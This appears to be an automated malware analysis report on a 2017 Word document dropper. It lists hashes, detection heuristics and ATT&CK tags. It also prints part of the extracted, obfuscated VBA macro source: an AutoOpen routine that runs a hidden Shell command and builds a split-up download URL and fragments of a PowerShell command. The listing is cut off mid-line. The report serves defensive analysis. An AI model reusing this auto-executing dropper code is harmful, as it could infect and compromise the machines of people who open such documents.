Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3fd2dd5c3355823e…

MALICIOUS

Office (OLE)

154.5 KB Created: 2017-12-19 07:57:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: c722be109f62ac765aa4a1f00992e2ec SHA-1: e1e5c17d23b36445d97178a6e7ef41c1df1d5b3b SHA-256: 3fd2dd5c3355823eb430075b7ecf648943c9c201014b5dbd4520cbf59fb181fb
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an intent to execute arbitrary commands, likely for downloading and running a secondary payload. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' further supports its role as a dropper for malicious content.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 70812 bytes
SHA-256: 021190ff63275861417aedc33b179a3b96d71a35df4a4deb6a89f67f758a70fa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dbIwzXPj"
Sub AutoOpen()
On Error Resume Next
UZafRfIMR = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 10 + ChrB(11 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 7 / 12) - (11 - CBool(881 - 7) * TMfXJir + Cos(7))
vwXzQnNMV = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 12 + ChrB(14 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 8 / 13) - (10 - CBool(881 - 8) * TMfXJir + Cos(13))
fiEVwwZDj = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 8 + ChrB(7 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 9 / 11) - (12 - CBool(881 - 14) * TMfXJir + Cos(11))
KrETnLZbs = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 7 + ChrB(11 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 13 / 11) - (10 - CBool(881 - 13) * TMfXJir + Cos(11))
aCqjdUorl = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 7 + ChrB(11 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 14 / 7) - (14 - CBool(881 - 11) * TMfXJir + Cos(8))
VBA.Shell$ UwzpkmNj, 0
RKWVhGMoF = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(9))) + 11 + ChrB(13 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 7 / 10) - (10 - CBool(881 - 10) * TMfXJir + Cos(8))
bzwUnqLuv = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 10 + ChrB(14 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 8 / 10) - (9 - CBool(881 - 7) * TMfXJir + Cos(12))
IcQjjIVIn = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 10 + ChrB(11 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 13 / 7) - (8 - CBool(881 - 9) * TMfXJir + Cos(13))
iiVMRfbLW = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 8 + ChrB(13 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 13 / 8) - (11 - CBool(881 - 8) * TMfXJir + Cos(9))
PLSiYaZlC = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 14 + ChrB(7 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 11 / 10) - (7 - CBool(881 - 13) * TMfXJir + Cos(9))
End Sub
Function UwzpkmNj()
On Error Resume Next
czLfhLFCQ = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 8 + ChrB(11 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 12 / 11) - (14 - CBool(881 - 13) * TMfXJir + Cos(12))
toNXr = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 8 + ChrB(10 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 12 / 8) - (12 - CBool(881 - 13) * TMfXJir + Cos(7))
ipXVMKzj = Mid("TNIT6iX/'+'/www'+'.do'+'ugsDhX+DhXP'+'hH+PhHuDh'+'X+DhXnlimDhX+DhXiteDhX+DhXdDhX+DhX.com'+'/pADhX+DhXkDhX+jBNr301FuAWW", 7, 100)
ciiBJ = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 8 + ChrB(10 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 7 / 9) - (7 - CBool(881 - 8) * TMfXJir + Cos(13))
pVQWQ = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 11 + ChrB(8 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 13 / 8) - (7 - CBool(881 - 10) * TMfXJir + Cos(12))
ajtKIH = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 8 + ChrB(10 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 13 / 11) - (7 - CBool(881 - 13) * TMfXJir + Cos(14))
wfOYzHHKn = Mid("lnQrPvakdO26Y]36))zT", 14, 5)
HbHGn = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(9))) + 14 + ChrB(14 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 12 / 14) - (12 - CBool(881 - 7) * TMfXJir + Cos(14))
nJKiUOiYR = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 8 + ChrB(13 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 14 / 9) - (14 - CBool(881 - 13) * TMfXJir + Cos(11))
zUJBKLPu = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 10 + ChrB(14 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 13 / 8) - (12 - CBool(881 - 7) * TMfXJir + Cos(9))
zJNtM = Mid("KMRnlvG99w1TMI4'CHaR]106),[PhH+PhHstRing][CHaR]39).RePlacE((['+'CHa'+'PhH+PhH'+'R]5'+'5+[CHaR]10'+'7'+'+[CHaR]111),[stRing][CHaR]92).RePlacE(DhXGFADhX,Dh'+'PhH+PhHXRmLPhHEK1", 16, 155)
njzzmVLvph = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 12 + ChrB(11 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 11 / 14) - (9 - CBool(881 - 9) * TMfXJir + Cos(12))
JhOwtVWdW = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 14 + ChrB(7 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 13 / 7) - (7 - CBool(881 - 9) * TMfXJir + Cos(9))
rlcjvPDN = 13 * Tan(2487
... (truncated)

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